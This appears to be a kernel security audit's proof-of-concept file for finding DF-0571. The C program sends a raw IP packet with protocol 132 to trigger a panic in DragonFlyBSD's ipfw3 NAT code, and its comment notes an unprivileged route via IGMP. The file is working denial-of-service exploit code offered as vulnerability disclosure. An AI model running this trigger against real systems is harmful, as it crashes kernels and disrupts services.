DragonFlyBSD Kernel Audit
DF-0571 / raw_trigger.c
← back to finding ↓ download raw
/*
 * DF-0571 raw trigger (root): sends an IP packet with proto=132 (SCTP)
 * outbound via vtnet0. When an ipfw3 NAT rule matches this packet,
 * check_nat -> ip_fw3_nat -> switch(ip->ip_p) { default:
 * panic("ipfw3: unsupported proto %u") } -> kernel panic.
 *
 * We use a raw IP socket (IPPROTO_RAW) which doesn't require any SCTP
 * support and lets us set arbitrary ip->ip_p.
 *
 * Build: cc -o raw_trigger raw_trigger.c
 * Run:   ./raw_trigger  (panic should follow)
 *
 * NOTE: opening a raw IP socket requires SYSCAP_NONET_RAW (i.e. root).
 * An unprivileged user triggers the same panic indirectly via IGMP
 * membership reports (proto 2) which the kernel emits for multicast
 * joins -- see trigger.c.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int main(void) {
    int s, rc;
    unsigned char pkt[32];
    struct ip *ip = (struct ip *)pkt;
    struct sockaddr_in dst;

    printf("[*] DF-0571 raw trigger: sending IP packet with proto=132 (SCTP)\n");
    printf("[*] if a NAT rule matches, kernel will panic at\n");
    printf("[*] ip_fw3_nat.c:254 panic(\"ipfw3: unsupported proto %%u\")\n");

    s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (s < 0) { perror("socket(RAW)"); return 1; }

    int one = 1;
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
        perror("setsockopt(IP_HDRINCL)"); close(s); return 1;
    }

    /* build minimal IP header with proto=132 (SCTP) */
    memset(pkt, 0, sizeof(pkt));
    ip->ip_v = 4;
    ip->ip_hl = 5;
    ip->ip_len = htons(sizeof(pkt));
    ip->ip_id = htons(0x1234);
    ip->ip_ttl = 64;
    ip->ip_p = 132;             /* IPPROTO_SCTP -- not in NAT switch */
    ip->ip_src.s_addr = inet_addr("10.0.2.15");
    ip->ip_dst.s_addr = inet_addr("10.0.3.5");  /* outside our net but ok */

    memset(&dst, 0, sizeof(dst));
    dst.sin_family = AF_INET;
    dst.sin_addr = ip->ip_dst;

    printf("[*] sendto() ... (panic should immediately follow)\n");
    fflush(stdout);
    rc = sendto(s, pkt, sizeof(pkt), 0,
                (struct sockaddr *)&dst, sizeof(dst));
    printf("[+] sendto returned %d (errno=%d: %s)\n",
           rc, errno, strerror(errno));
    /* if we get here, the rule didn't match -- try alternative */
    if (rc >= 0) {
        printf("[!] no panic; rule may not have matched this packet\n");
    }
    close(s);
    return 0;
}